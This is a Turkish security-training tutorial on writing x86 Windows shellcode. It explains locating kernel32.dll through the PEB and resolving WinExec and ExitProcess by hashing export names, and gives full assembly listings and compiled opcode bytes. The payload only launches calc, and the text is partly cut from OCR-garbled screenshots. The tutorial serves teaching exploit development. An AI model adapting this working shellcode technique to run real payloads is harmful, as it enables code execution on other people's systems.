İncelemekte olduğumuz modül meta datasının ilk 4 byte'l modül listesindeki bir sonraki modül metadata'sının başlangıç adresini içeriyor. Bu bilgiyi bir sonraki döngüde kullanmak üzere ESI register'ına yazıyoruz.

Daha önce EDI register'ına aktardığımız modül başlangıç adresinden itibaren 24. Byte'ın null olup olmadığını kontrol ediyoruz. Modül adının bu kapsam içinde unicode formatında tutulduğundan bahsetmiştik. Kernel32.dll verisi toplam 12 karakterden oluştuğundan 13. Karakterin null olup olmadığını kontrol ediyoruz. Biliyorsunuz C Assembly, C gibi dillerde array indeksi 0'dan başlar, bu nedenle 12 indeksi aslında arrayin 13. Üyesine işaret eder. Bu yöntem kesinlikle çok ideal ve jenerik bir yöntem değil, ancak mevcut modern Windows işletim sistemlerinde Kernel32.dll'den daha önce adı 12 karakter olan başka bir modül yüklenmediğinden işimizi görecek.

Modül baz adresini tespit ettikten sonra export edilen fonksiyonları tespit etmek istiyoruz.

Bunun için hafızaya yüklenmiş olan PE dosya formatındaki veri yapılarından faydalanıyoruz. Öncelikle Image DOS başlığı içinde NT başlıklarının offset'ini tespit ediyoruz.

NT başlıkları içinde Export tablosunun RVA değerini elde ediyoruz. PE dosyası içindeki adreslerin pek çoğu RVA veya offset formatında olduğu için bu tür adreslere hafızada ulaşabilmek için bildiğiniz gibi Virtual Address formatına çevirme ihtiyacımız var. RVA formatındaki adresi VA formatına çevirmek için Modül baz adresi ile topluyoruz.

Export tablosunun VA adresini uygulamamızın aşağıdaki bölümünde fonksiyonları taramak için bir lokal C değişkenine kaydediyoruz.

Export tablosunun içinde HEX 18 offset adresinde export edilen toplam fonksiyon sayısını tespit ediyoruz. Bu rakamı sayaç olarak kullanarak sondan başa doğru tüm fonksiyonları tarayacağız.

Export tablosunun HEX 20 offset'inde bulunan Names Tablosunun adresini tespit ediyoruz ve VA adresini hesaplıyoruz. Daha sonra fonksiyonları tarayacağımız aşağıdaki bölümde kullanmak üzere bu değeri bir lokal C değişkenine kaydediyoruz.

Fonksiyonları taradığımız ikinci bölümde Name tablosundaki son fonksiyondan başlayarak fonksiyon adlarının hash değerlerini hesaplamaya başlıyoruz.

Fonksiyon adının pointer'ını ESI register'ına atadıktan sonra bir önceki uygulamamızda da kullandığımız hash hesaplama kodunu kullanarak hash değerlerini hesaplıyoruz.

Fonksiyon adresini bulma kısmını daha önce çalışmamıştık. Bu örneğimizde her bir fonksiyonun isminin hash değerini hesapladıktan sonra hafızadaki adresini de bulacağız.

Öncelikle Export tablosunun hafızadaki adresini esas alıyoruz. Bu tablonun HEX 24 offset'inde Export Ordinal Tablo'sunun RVA adresini buluyoruz, daha sonra VA adresini modül baz adresini ekleyerek hesaplıyoruz.

Ordinal tablosu içindeki ilgili kaydın adresini bulmak için her bir ordinal kaydı 2 byte olduğundan fonksiyon adının name tablo'su içindeki indeksini 2 ile çarpıp ordinal tablosunun adresi ile topluyoruz. Bulduğumuz adreste yer alan değeri CX register'ına aktarıyoruz.

Daha sonra Function Address Tablosu'nun adresini yine Export Tablo'sundan elde ettiğimiz RVA adresine modül baz adresini ekleyerek buluyoruz.

Ordinal değerini indeks olarak kullanarak fonksiyonun adresinin bulunduğu kaydın adresini hesaplıyoruz. Bu kayıttaki RVA değerini modül baz adresi ile toplayarak fonksiyonun hafızadaki adresini hesaplıyoruz ve adres değerini yazdırmak üzere lokal C değişkenine kopyalıyoruz.

Böylece geliştirdiğimiz uygulama hafızaya yüklendiğinde hafızada Kernel32.dll'in modül adresini, bu modülün export ettiği tüm fonksiyonların isimlerini, fonksiyon isimlerinin hash değerlerini ve o çalıştırmaya özgü olmak üzere fonksiyon adreslerini listeleyecek bir uygulama geliştirmiş olduk.

	the second second	
FonksiyonListele (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop FLE EDIT VIEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW HELP Image: Imag	□ 「「 3 2 Quick Launch (Ctrl+Q) □ 「「 3 2 」 ■ 1 2 2 3 2 ■ 1 2 2 3 2 3 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 2 3 3 3 2 3 3 2 3 3 2 3 3 2 3	P - E × Fatih Emiral + E
Process: [10836] FonksiyonListele.exe • 💽 Suspend • Thread:		
Memory 1 C\ESG\FonksiyonListele\Debug\FonksiyonListele.exe		• 4 × 8
Address Address Unavsilable Unavsilable Unavsilable Particle and the set of the set	- 🐼 Columns min olmak için kullanıyoruz rına yüklüyoruz ve ESI yi bir artırıyoruz plamayı sona erdiriyoruz	tuon Epicer
100 % - 4		
Registers 👻 🕈 Watch 1		- å ×
No data available	Value	Туре
Locals Registers Call Stack Immediate Window Memory 2 Watch 1		
Loading symbols for msvcr120d.dll	📼 Ln 79 Col 40 Ch 3:	L INS

Şimdi bu uygulamayı çalıştırarak sonuçlarını gözlemleyelim.

Uygulamamızın çıktılarını Excel ile incelersek hash değerlerinin çakışmadığını görebiliriz. Aslında sadece aradığımız fonksiyonların hash değerlerinin tekrar etmemesi bile bizim için yeterli idi.

Temel ihtiyaçlarımızı belirlediğimiz ve bu ihtiyaçları karşılayacak metodları geliştirdiğimize göre shellcode geliştirme aşamasına geçebiliriz.

BTRISK BILGI GÜVENLIĞI VE BT YÖNETIŞIM HIZMETLERI

VII. SHELLCODE'UN GELİŞTİRİLMESİ

Shellcode'umuzun ihtiyaç duyacağı verilere referans verebilmesi ve farklı bir prosesin hafıza alanında ihtiyaç duyacağı modül ve fonksiyon adreslerini tespit etmesi için gerekli teknikleri çalıştık.

Bu teknikleri test etmek için C uygulama dilinin özelliklerinden de faydalanarak bazı uygulama kodlarını geliştirdik. Artık shellcode olarak kullanabileceğimiz bir kodu geliştirme aşamasına geldik.

```
1. int f( )
2. {
3. __asm
4. {ASSEMBLY KODUMUZU BURAYA YAZACAĞIZ
5. }
6. }
7.
8. int main( void )
9. {
10. f( );
11. }
```

Hatırlarsanız farklı bir prosesin hafıza alanında çalıştıracağımız kod derlenmiş opcode'lar formatında olmalıydı. Dolayısıyla shellcode'umuzu derlemek için bir yönteme ihtiyaç var. Bu adımda iki farklı yöntem kullanacağız. Aslında her ikisi de tam olarak aynı sonucu veriyor, ancak yine de sizin için faydalı olabileceği düşüncesiyle her ikisini de uygulayacağız.

Birinci yöntemde Visual Studio ile shellcode'umuzu derleyeceğiz. Bunun için yine C dilinin, daha doğrusu Visual Studio derleyicisinin inline assembly özelliğini kullanacağız. İkinci yöntemde ise geliştirdiğimiz assembly kodunu doğrudan bir Assembler ile derleyeceğiz. Bunun için NASM assembler'ını kullanacağız. İkinci yöntem bizi daha doğrudan hedefe ulaştırabilecek bir yol.

Birinci yöntemimizde yukarıda gördüğünüz basit wrapper uygulamayı kullanacağız. Assembly dilinde geliştireceğimiz ve tamamen üretilecek opcode'lara ve instruction'lara hakim olacağımız shellcode'umuzu buradaki "f" fonksiyonuna yerleştirerek derleyeceğiz. Daha sonra statik analiz için kullandığımız IDA Pro'dan faydalanarak bu fonksiyon için derleyicinin ürettiği kodları üretilen PE dosyasının içinden çekip alacağız. Biraz dolaylı bir yol, ancak söylediğim gibi size farklı bir bakış açısı daha verebilmek için bu işlemi yapacağız.

Binary olarak opcode'larımızı elde ettikten sonra bu kodu Hexyaz script'imiz ile C string'ine çevirip test uygulamamız içinde deneyeceğiz.

```
1. int f()
2. {
3.
         asm
4.
            pushad
5.
6.
7.
            ; önce kernel32.dll in hafızadaki adresini buluyoruz
8.
            xor ecx, ecx
            mov esi, fs:[0x30]; PEB adresi
9.
            mov esi, [esi + 0x0c]; PEB LOADER DATA adresi
10.
11.
            mov esi, [esi + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adre
   si
12.
13.
            bir sonraki modul :
```

```
14.
           mov ebp, [esi + 0x08]; Modülün baz adresi
           mov edi, [esi + 0x20]; Modül adı(unicode formatında)
15.
           mov esi, [esi]; esi = Modül listesinde bir sonraki modül meta datalarının bulun
16.
   duğu adres InInitOrder[X].flink(sonraki modul)
           cmp[edi + 12 * 2], cl; KERNEL32.DLL 12 karakterden oluştuğu için 24. byte ın nu
17.
   ll olup olmadığını kontrol ediyoruz.Bu yöntem olabilecek en güvenli ve jenerik yöntem d
   eğil, ancak işimizi görüyor.
           jne bir sonraki modul; Eğer 24. byte null değilse kernel32.dll ismini bulamamış
18.
   ız demektir
19.
20.
           ; daha sonra WinExec fonksiyonunun hafızadaki adresini buluyoruz
           fonksiyon bul :
21.
           mov eax, [ebp + 0x3c]; MSDOS başlığını atlıyoruz
22.
23.
           mov edx, [ebp + eax + 0x78]; Export tablosunun RVA adresini edx e yazıyoruz
24.
           add edx, ebp; Export tablosunun VA adresini hesaplıyoruz
25.
           mov ecx, [edx + 0x18]; Export tablosundan toplam fonksiyon sayısını sayaç olara
   k kullanmak üzere kaydediyoruz
26.
           mov ebx, [edx + 0x20]; Export names tablosunun RVA adresini ebx e yazıyoruz
27.
           add ebx, ebp; Export names tablosunun VA adresini hesaplıyoruz
28.
29.
           fonksiyon_bulma_dongusu :
30.
           dec ecx; Sayaç son fonksiyondan başlayarak başa doğru azaltılır
31.
           mov esi, [ebx + ecx * 4]; Export names tablosunda sırası gelen fonksiyon adının
    pointerinin VA adresini hesapliyoruz
32.
           add esi, ebp; Fonksiyon pointerinin RVA adresini hesapliyoruz
33.
34.
           hash hesapla :
35.
           xor edi, edi
36.
           xor eax, eax
           cld; lods instructioni ESI register ini yanlışlıkla aşağı yönde değiştirmesin d
37.
   iye emin olmak için kullanıyoruz
38.
39.
           hash_hesaplama_dongusu :
40.
           lodsb; ESI nin işaret ettiği mevcut fonksiyon adı harfini(yani bir byte ı) AL r
 egisterina yüklüyoruz ve ESI yi bir artırıyoruz
41.
           test al, al; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
42.
           jz hash_hesaplandi; AL register değeri 0 ise, yani fonksiyon adını tamamlamışsa
   k hesaplamayı sona erdiriyoruz
43.
           ror edi, 0xf; Hash değerini 15 bit sağa rotate ettiriyoruz
           add edi, eax; Hash değerine mevcut karakteri ekliyoruz
44.
45.
           jmp hash hesaplama dongusu
46.
47.
           hash_hesaplandi :
48.
49.
           hash karsilastirma :
50.
           cmp edi, 0x10121ee3; Hesaplanan hash değerinin WinExec fonksiyon adının hash de
 ğeri ile tutup tutmadığını kontrol ediyoruz
           jnz fonksiyon_bulma_dongusu
51.
52.
           mov ebx, [edx + 0x24]; WinExec fonksiyonunun adresini bulabilmek için Export or
  dinals tablsosunun RVA adresini hesaplıyoruz
           add ebx, ebp; Export ordinals tablsosunun VA adresini hesaplıyoruz
53.
54.
           mov cx, [ebx + 2 * ecx]; WinExec fonksiyonunun Ordinal numarasını elde ediyoruz
   (ordinal numarası 2 byte)
55.
           mov ebx, [edx + 0x1c]; Export adres tablosunun RVA adresini hesaplıyoruz
           add ebx, ebp; Export adres tablosunun VA adresini hesaplıyoruz
56.
57.
           mov eax, [ebx + 4 * ecx]; WinExec fonksiyonunun ordinal numarasını kullanarak f
   onksiyon adresinin RVA adresini tespit ediyoruz
58.
           add eax, ebp; WinExec fonksiyonunun VA adresini hesaplıyoruz
59.
60.
           fonksiyon bulundu :
61.
62.
           ; WinExec fonksiyonunu çağırıyoruz
63.
           push 0; calc metninin sonuna null karakter yerleştirmek için stacke 0x00000000
   yazıyoruz
64.
           push 0x636C6163; calc metnini little endian formata uydurmak için tersten yazıy
   oruz
```

```
65.
            mov ebx, esp; calc metninin hafızadaki adresini ebx e yazıyoruz
           push 0; WinExec fonksiyon parametrelerini sağdan sola doğru stacke yazıyoruz, u
66.
   CmdShow parametresini 0 olarak veriyoruz
67.
           push ebx; WinExec fonksiyonunun ikinci parametresi olarak çalıştırılacak proses
   in isminin pointerını stacke yazıyoruz
68.
           call eax; WinExec fonksiyonunu çağırıyoruz
69.
70.
            popad
71.
        }
72. }
73.
74. int main(void)
75. {
76.
       f();
77.}
```

İlk shellcode versiyonumuzu hazırladığımız iskelet C uygulamasının "f" fonksiyonunun içine inline assembly olarak gömeceğiz.

Shellcode'umuzun ilk bölümü daha önce de detaylı olarak incelediğimiz Kernel32.dll'in hafızadaki adresini tespit etmeye yarıyor.

Daha sonra WinExec fonksiyonunun adresini bulmak için gerekli işlemleri yapıyoruz. Fonksiyon adresinin bulunması üzerinde de daha önce çalıştığımız için detaylı bir açıklama yapmayacağım.

Daha önce Kernel32.dll fonksiyonlarının adlarını, hafızadaki adreslerini ve adlarının hash değerlerini listelemiştik. Shellcode'umuzun daha önce yaptığımız bu çalışmadan farkı her bir fonksiyon adının hash değerini hesapladıktan sonra bizim daha önceden hesaplamış olduğumuz hash değeri ile aynı olup olmadığını kontrol etmesi. Buradaki amacımız fonksiyon adının aradığımız fonksiyon olup olmadığının hash değeri üzerinden kontrol edilmesi. Daha önceki çalışmalarımızda da WinExec kelimesinin kullandığımız hash algoritması ile hash değerinin HEX 10121ee3 olduğunu hesaplamıştık.

Shellcode'umuz yine daha önce detaylı olarak incelediğimiz üzere hash değeri tutan fonksiyonun hafızadaki RVA adresini ordinals tablosu ve address tablosunu kullanarak tespit ediyor. Son olarak bu RVA adresini Kernel32.dll modülünün baz adresi ile toplayarak WinExec'in hafızadaki VA adresini hesaplıyoruz.

Shellcode'umuzun daha önceki çalışmalarımızdan en temel farkı bu noktada ortaya çıkıyor. Çağırmak istediğimiz fonksiyonun adresini tespit ettikten sonra sıra bu fonksiyonun parametrelerini düzenlemeye, stack'e yazmaya ve bu fonksiyonu çalıştırmaya geliyor.

Öncelikle WinExec fonksiyonunun çalıştırmasını istediğimiz uygulama adını stack'e yazıyoruz. WinExec fonksiyonuna parametre olarak uygulama adının hafızadaki adresini vermek zorunda olduğumuzdan fonksiyonu çağırmadan önce stack'e bu adresi yazmamız gerekiyor. Bölüm-4 Shellcode ve Veri Referans Problemi konumuzda pozisyon bağımsız olarak bu problemin nasıl çözülebileceğini incelemiştik. Burada da aynı yöntemi kullanarak uygulama adını stack'e yazdıktan hemen sonra ESP register değerini daha sonra kullanmak üzere EBX register'ına kopyalıyoruz.

Burada vurgulanması gereken 3 temel konu var:

• Birincisi daha önce de bahsettiğimiz X86 mimarisinin hafıza organizasyonunda little endian formatı kullanıyor olması. Dolayısıyla uygulama adını hafızaya yazarken her 4 byte'lık bölüm son karakterden ilk karaktere doğru yazmamız gerekiyor.

- İkincisi uygulama adının C string formatında olması gerektiğinden uygulama adından hemen sonra gelen ilk karakterin null byte olması zorunluluğu. Shellcode'umuzda stack'e 0 değerini push etmemizin nedeni bu gereklilik.
- Üçüncüsü Windows API'lerine parametre aktarımının fonksiyon prototipinde sağdan sola doğru bir sıra izleyerek yapılması kuralı. WinExec fonksiyonuna MSDN'den bakarsak aldığı parametrelerin sırasıyla C string pointer veri tipinde IpCmdLine yani çalıştırılacak uygulama ve bu uygulamanın alacağı parametrelerin C string pointer'ı, ikinci olarak da unsigned integer veri tipinde uCmdShow yani display opsiyonları olduğu görürüz.

Buna göre bizim WinExec fonksiyonunu çağırmadan stack'e sırasıyla uCmdShow ve lpCmdLine parametrelerini push etmemiz lazım. uCmdShow için kullanılabilecek değerlerden 0'ı kullanıyoruz. Bu parametrenin alabileceği diğer herhangi bir değeri de kullanabilirdik.

Parametreleri stack'e yazdıktan hemen sonra WinExec API'sini çağırarak hedefimize ulaşıyoruz.

Uygulamamızı Visual Studio ile derleyerek üretilen opcode'ları elde etmeye çalışacağız.

0	
ShellcodeUret - Microsoft Visual Studio Express 2013 for Windows Desktop Image: Control of the system of the s	Quick Launch (Ctrl+Q) P - 6 × Fatih Emiral *
ShelkodeVirt.c * × (Global Scope) * (Global Scope)	Solution Explorer • 4 × Search Solution Explorer (Ctrl+;) • • Solution Explorer (Ctrl+;) • • Solution Explorer (Ctrl+;) • • Solution Explorer (Ctrl+;) • • Search Solution Explorer (Ctrl+;) • • Solution Explorer (Ctrl+;) • • Search Solution Explorer (Ctrl+;) • • Search ShelicodeUret • Source Files • • Source Files • • ShelicodeUret.c •
: WinExec fonksiyonunu cağırıyoruz Output Son	• ≠ × ^ ^
Ready	Col 1 Ch 1 INS

Şimdi IDA Pro ile derlenmiş dosyamızı yükleyelim.

	Anthennissen an Anthennis Contraction of Contractio			
IDA - C:\ESG\ShellcodeUret\Release\ShellcodeUret.exe		- 0 ×		
File Edit Jump Search View Debugger Options Windows He	p			
		· · · ·		
Library function 📃 Data 📕 Regular function 📕 Unexplored 📕 Instruction	External symbol			
Functions window 🛛 🗗 🗙 🔃 IDA View-A 🔯	🖸 Hex View-A 🗵 🖪 Structures 🗵 🚼 Enums 🗵 🛐 Imports 🗵 📝 Exports 🗵			
Function name				
F f				
📝 _main				
f pre_c_init				
f pre_cpp_init				
f _tmainCRTStartup				
7 _mainCKTStartup				
T report of ailure				
CoxUnhandledExcentionFilter(EXCEPTIO	; intcdeci main(int argc, const char **argu, const char **enup)			
CxxSetUnhandledExceptionFilter	call f			
T_XcptFilter +	xor eax, eax			
< <u> </u>	retn			
Line 2 of 41	_main endp			
🚓 Graph overview 🗆 🗗 🛪				
	5			
	_			
100-00% (0-0) 00000	480.00401080: main			
Cutruit window				
You may start to explore the input file right now.		^		
Tune library 'ucówin' loaded Annluing tunes	oups referenced are assigned to the carter.			
Types applied to 1 names.				
Using FLIRT signature: Microsoft VisualC 2-11/net ru	ntime			
Propagating type information				
The initial autoanalusis has been finished.				
INC				
IC.	and the second s			
AU: idle Down Disk: 221GB				

Bildiğiniz gibi IDA Pro önde gelen bir statik analiz yazılımı. Bir binary uygulamayı IDA Pro ile analiz ettiğinizde IDA Pro bir veritabanı oluşturur. Bu veritabanı üzerinde yapacağınız tüm çalışmalar asıl uygulama üzerinde değil IDA'nın ürettiği kendi veritabanında gerçekleştirilir. Dolayısıyla analistler birbirleriyle kod paylaşmak yerine bu veritabanını paylaşarak analizlerini gerçekleştirebilirler. Biz örneklerimizde IDA Pro'nun demo sürümünü kullanıyoruz. Bu nedenle malesef veritabanında yaptığımız değişiklikler kalıcı olamıyor. Ama buradaki amacımız için ücretli sürüm özelliklerine ihtiyacımız yok.

Visual studio "f" fonksiyon kodu içine bazı register'ları stack'e saklama, bunları tekrar eski haline getirme ve "ret" instruction'larını ekliyor.

O Alexandra Contraction of the second s		- • ×
IDA - C:\ESG\ShellcodeUret\Release\ShellcodeUret.exe	The second secon	
File Edit Jump Search View Debugger Options Windows Help		
	1 👥 🐘	
		
Library function Data Regular function Unexplored Instruction External symbol		
📝 Functions window 🗆 67 X 😨 IDA View-A 🛛 💽 Hex View-A 🔀 🖪 Structures 🔝 🛱 Enums	🔀 Imports 🔀 📝 Exports 🗵	
Function name 0040106F call eax		
J f elements from the second s		
r agh,01073 pop esi		
I		
f pre_cpp_init extended and a set of a		
ftmainCRTStartup		
<u></u>		
Line 2 of 41		
A Graph overview		
inclusion (-281,11/0) (333,33) 000004/2 004010/2: 1+/2		
Output window		0 8 ×
You may start to explore the input file right now.		*
Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.		
Type library 'vc6win' loaded. Applying types		
lypes applied to 1 names. Using ELIPE cignatures Microsoft Hisualt 2-11/net runtime		
Pronation tupe information		
Function argument information has been propagated		<u> 4Aè</u>
The initial autoanalysis has been finished.		-
IDC		
AU:idle Down Disk: 221GB		

Bunların dışındaki kodların opcode'larını IDA Pro'dan bir dosyaya kopyalayabiliriz.

Bunun için IDA Hex View A'ya geçtikten sonra sağ klikleyerek kolon sayısını 4'e indirebiliriz. Böylece kopyalama işlemini daha kolay yapabiliriz.

	And a state of the			
TDA - C:\ESG\ShellcodeUret\Release\Shellcode	iret.exe	- 0 - X-		
File Edit Jump Search View Debugger	Options Windows Help			
📂 🗔 🗢 - 🗢 - 🛍 🐴 🐴 🖡	👧 🖸 🕒 🚵 📩 🖉 📌 🚓 🗹 🕨 🗉 🗖 No debugger 🔹 👻 💽 👔 🕈 😭			
		· · ·		
Library function Data Regular function	Unexplored Instruction External symbol			
Functions window	🔯 IDA View-A 🔀 🤄 Hex View-A 🔯 🖪 Structures 🖾 🔃 Enums 🖾 💽 Imports 🖾 📴 Exports 🖾			
Function name	09401943 0F 03 F8 EE ⁰ U 091010107 C4 84 CF C2 C C	-		
₹ f				
📝 _main	8848184F E1 88 56 24 BIZ\$			
	88481853 83 DD 66 88 .!fi			
📝 pre_c_init 🔤	80401057 BC 48 88 50 .K12			
f pre_cpp_init				
ftmainCRTStartup				
fmainCRTStartup				
<u>f</u> raise_securityfailure	8040106B DC 6A 00 53 - j.S			
<u>f</u> report_gsfailure	8848186F FF D8 61 5F _ =a_			
<pre>CxxUnhandledExceptionFilter(_EXCEPTIO</pre>	88481873 5E 5B C3 CC LF +			
CxxSetUnhandledExceptionFilter				
<u>f</u> _XcptFilter				
setargv	08481887 C3 3B 0D 00 +:			
	8846188B 36 46 66 75 62.u			
	8848188F 82 F3 C3 E9 .¾+Ú			
ValidateImageBase	00401093 B0 02 00 00			
security_init_cookie	1884411897 B8 40 5A 68 6M2.			
-atonexitinit				
< +	0040107 00 00 40 002.			
Line 2 of 41	00000472 00401072: f+72	*		
Output window		0 8 ×		
You may start to explore the innu	file right now			
Can not set debug privilege: Not	Il privileges or groups referenced are assigned to the caller.			
Type library 'vcówin' loaded. App	lying types			
Types applied to 1 names.				
Using FLIRT signature: Microsoft	JisualC 2-11/net runtime			
Fropagating type information	heen propagated			
The initial autoanalusis has been	finished.			
Inc				
Mi idle Down Diek 221GB	idle Down Disk: 22108			
NO THE DOWN DISK: 2216D				

Fonksiyonun bittiği adresi tam olarak görebilmek için Options / General menüsünden Line prefixes seçeneğini seçebiliriz. Hex View A penceresinden fonksiyon opcode'larını seçtikten sonra sağ klikleyerek "Save to file" seçeneğini seçebilir ve opcode'ları binary formatta kaydedebiliriz.

Eksik kalan opcode'lar varsa bunları da HxD uygulaması vasıtasıyla elle dosyaya ekleyebiliriz.

0		×
HxD - [C:\ESG\ShellcodeUret\Release\vsshellcode]		×
📓 File Edit Search View Analysis Extras Window ?		8 X
🗋 改 🕶 🚛 🥔 🤩 🚥 16 🔹 ANSI 🔹 hex 💌		
vsshellcobe		
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F		
00000000 60 33 C9 64 8B 35 30 00 00 00 8B 76 0C 8B 76 1C	`3Éd<50 <v.< td=""><td></td></v.<>	
00000010 8B 6E 08 8B 7E 20 8B 36 38 4F 18 75 F3 8B 45 3C 00000020 8B 54 05 78 03 D5 8B 4A 18 8B 5A 20 03 DD 49 8B	<pre><n.<~ <680.uó<e<<="" pre=""></n.<~></pre>	
00000030 34 8B 03 F5 33 FF 33 C0 FC AC 84 C0 74 07 C1 CF	45393Åu-"Àt.ÅĬ	
00000040 OF 03 F8 EB F4 81 FF E3 1E 12 10 75 E1 8B 5A 24 00000050 03 DD 66 8B 0C 4B 8B 5A 1C 03 DD 8B 04 8B 03 C5		
00000060 6A 00 68 63 61 6C 63 8B DC 6A 00 53 FF D0 61	j.hcalcvÜj.SÿĞa	
Offset: 6E	Overwrite	

Shellcode'umuz hazır olduğuna göre test uygulamamızda yerine yerleştirerek çalışıp çalışmadığını görebiliriz.

		Statements Statements	
KD - [C:\ESG\ShellcodeUret\Release\vsshellcode]		10 m	
📓 File Edit Search View Analysis Extras Window ?			_ @ X
	· Briture · · · · · · · · · · · · · · · · · · ·		
Vishelice The CiWindows/sustem32/condieve	• Release • • • • Search Re	iease P	
		# • 🔟 🔞	
C:\ESG\ShellcodeUret\Release>Hexya2.rb vsshellcode 0000000 "\x60\x33\xc9\x64\x8b\x35\x30\x80"	Type Size		
0000001 "\x80\x80\x8b\x76\x8c\x8b\x76\x1c"			
0000002 "\x38\x4f\x18\x75\xf3\x8b\x45\x3c" 0000003 "\x9b\x4f\x18\x75\xf3\x8b\x45\x3c"	File folder		
0000004 "\x18\x8b\x5a\x20\x83\xdd\x49\x8b"	Kuby File I KB		
0000005 "\X34\X85\X83\Xf5\X33\Xff\X33\Xc0" "\xfc\xac\x84\xc0\x?4\x87\xc1\xcf"	Text Document TKB		
000000e "\x8f x83 xf8 xeb xf4 x81 xff xe3" "\x1e \x12\x10\x75 xe1 \x8b x5a \x24"	Application 7 KB		
"\x83\xdd\x66\x8b\x8c\x4b\x8b\x5a" "\x1c\x83\xdd\x8b\x8b\x94\x8b\x93\xc5"	IDI File OKB		
"\x6a\x88\x63\x61\x6c\x63\x8b" "\x6a\x88\x63\x61\x6c\x63\x8b"	Text Document 2 KB		
	NAM File 0 KB		
C:\ESG\ShellcodeUret\Release>_	Source Browser D 5 KB		
	Source Browser D 187 KB		
	Source Browser D 52 KB		
- 5	File 1 KB		
	BAK File 1 KB		
17 34000			
13 items			
Offset: 6F Overwrite			



btrisk



Shellcode'umuz çalıştı ancak hafızada uygulama akışını bozucu işlemler yaptığımız için uygulama hata alarak sonlandı. Aslında ExitProcess veya benzeri bir fonksiyonla programı hatasız biçimde sonlandırabiliriz. Hem bu işlemi gerçekleştirmek hem de shellcode'umuzu daha modüler hale getirmek için bir fonksiyonun adresini bulma ile ilgili kodumuzu bir fonksiyon gibi çağıracağız. Tabi bizim fonksiyonumuz konvansiyonlara uygun bir fonksiyon olmayacak, ancak ihtiyacımızı karşılayacak. Bu şekilde aynı kodu tekrar kopyalamaya gerek kalmadan istediğimiz kadar fonksiyonun adresini bulabileceğiz.

```
1. [BITS 32]
2.
3. kernel32 bul:
4. xor ecx, ecx
5. mov esi, [fs:0x30] ; PEB adresi
6. mov esi, [esi + 0x0c] ; PEB LOADER DATA adresi
7. mov esi, [esi + 0x1c] ; Başlatılma sırasına göre modül listesinin başlangıç adresi
8.
9. bir_sonraki_modul:
10. mov ebx, [esi + 0x08] ; Modülün baz adresi
11. mov edi, [esi + 0x20] ; Modül adı(unicode formatında)
12. mov esi, [esi] ; esi = Modül listesinde bir sonraki modül meta datalarının bulunduğu ad
   res InInitOrder[X].flink(sonraki modul)
13. cmp [edi + 12*2], cl ; KERNEL32.DLL 12 karakterden oluştuğu için 24. byte ın null olup
   olmadığını kontrol ediyoruz.Bu yöntem olabilecek en güvenli ve jenerik yöntem değil, an
   cak işimizi görüyor.
14. jne bir_sonraki_modul ; Eğer 24. byte null değilse kernel32.dll ismini bulamamışız deme
   ktir
15.
16. push ebx ;Kernel32nin adresini stacke yaz
17. push 0x10121ee3 ;WinExec fonksiyon adının hashi
18. call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini döndürür
19. add esp, 4
20. pop ebx ; Kernel32nin adresini tekrar ebx e yükle
21. push 0 ;calc metninin sonuna null karakter yerleştirmek için stacke 0x00000000 yazıyoru
22. push 0x636C6163 ;calc metnini little endian formata uydurmak için tersten yazıyoruz
23. mov ecx, esp ; calc metninin adresini ecx e yükle
24. push 0 ; WinExec birinci parametre
```

```
25. push ecx ; WinExec ikinci parametre
26. call eax ; WinExec fonksiyonu çağrılır
27. push ebx ; Kernel32nin adresini stacke yaz
28. push 0x3c3f99f8 ;ExitProcess fonksiyon adının hashi
29. call fonksiyon_bul ;eax ile WinExec fonksiyonunun adresini döndürür
30. push 0
31. call eax ;ExitProcess fonksiyonu çağrılır
32.
33.; Fonksiyon: Fonksiyon hashlerini karşılaştırarak fonksiyon adresini bulmak için.
34. ; esp+8 de modül adresini, esp+4 te fonksiyon hashini alır
35.; Fonksiyon adresini eax ile döndürür
36. fonksiyon bul:
37. mov ebp, [esp + 0x08] ;Modül adresini al
38. mov eax, [ebp + 0x3c] ;MSDOS başlığını atlıyoruz
39. mov edx, [ebp + eax + 0x78] ;Export tablosunun RVA adresini edx e yazıyoruz
40. add edx, ebp ;Export tablosunun VA adresini hesaplıyoruz
41. mov ecx, [edx + 0x18] ;Export tablosundan toplam fonksiyon sayısını sayaç olarak kullan
  mak üzere kaydediyoruz
42. mov ebx, [edx + 0x20] ;Export names tablosunun RVA adresini ebx e yazıyoruz
43. add ebx, ebp ; Export names tablosunun VA adresini hesaplıyoruz
44.
45. fonksiyon_bulma_dongusu:
46. dec ecx ;Sayaç son fonksiyondan başlayarak başa doğru azaltılır
47. mov esi, [ebx + ecx * 4] ;Export names tablosunda sırası gelen fonksiyon adının pointer
   inin VA adresini hesapliyoruz ve pointer i ESI a atiyoruz (pointer RVA formatinda)
48. add esi, ebp ;Fonksiyon pointerinin VA adresini hesapliyoruz
49
50. hash hesapla:
51. xor edi, edi
52. xor eax, eax
53. cld ;lods instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin
    olmak için kullanıyoruz
54.
55. hash_hesaplama_dongusu:
56. lodsb ;ESI nin işaret ettiği mevcut fonksiyon adı harfini (yani bir byteı) AL registeri
  na yüklüyoruz ve ESI yi bir artırıyoruz
57. test al, al ;Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
58. jz hash_hesaplandi ;AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesapl
   amayı sona erdiriyoruz
59. ror edi, 0xf ;Hash değerini 15 bit sağa rotate ettiriyoruz
60. add edi, eax ; Hash değerine mevcut karakteri ekliyoruz
61. jmp hash hesaplama dongusu
62.
63. hash_hesaplandi:
64.
65. hash_karsilastirma:
66. cmp edi, [esp + 0x04] ;Hesaplanan hash değerinin stackte parametre olarak verilen fonks
   iyon hash değeri ile tutup tutmadığını kontrol ediyoruz
67. jnz fonksiyon_bulma_dongusu
68. mov ebx, [edx + 0x24] ;Fonksiyonun adresini bulabilmek için Export ordinals tablosunun
   RVA adresini tespit ediyoruz
69. add ebx, ebp ; Export ordinals tablosunun VA adresini hesaplıyoruz
70. mov cx, [ebx + 2 * ecx] ;Fonksiyonun Ordinal numarasını elde ediyoruz (ordinal numarası
    2 byte)
